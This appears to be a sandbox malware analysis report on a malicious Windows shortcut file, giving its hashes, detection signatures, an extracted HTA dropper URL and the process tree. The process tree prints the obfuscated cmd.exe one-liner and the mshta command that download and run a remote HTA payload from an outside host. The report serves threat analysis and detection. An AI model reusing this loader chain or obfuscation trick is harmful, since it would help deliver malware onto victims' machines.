Analysis

  • max time kernel
    40s
  • max time network
    41s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 22:11

General

  • Target
    DOC-IGTBI4.lnk
  • Size 2KB
  • Sample260803-14ae9aydnd
  • SHA256 9696f2f78d7e5af935d0aac2abba5f4dad01ca3ae30144db1b5564c80df6305d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-IGTBI4.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3720
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set wF=rmshtvoi&&set Lf=gljaj&&set XqF=winogfmqgywwwwin&&set Td=netskyvblaqrfuenet&&set wfOxE=baktkmztdmebak&&set tjRkw=logerkpmtxcvlog&&set LrWU=oldiaphffcnlaqeyaold&&set lVVX=tmpeibcyfvxedavwimrtmp&&set lCFKP=cfgfvvctuyjqizrmrqcfg&&set QFG=winkvndmcewin&&set UHf=loglrzebuanunswtpxlog&&set Aa=rn8starpzt&&set FMZwo=xjltldq&&set ofN=cfgmqevadfecfg&&set BFHx=bakesppgdburmnzzhvuxsbak&&set FEsx=ht@tps@:@//k-@d@ocume@n@tacio@[email protected]@t@/@h/[email protected]@p@?r=@3F@147@7@F1539@8D1&&start /b !wF:~1,4!!Lf:~3,1! !FEsx:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5252
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:4584

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads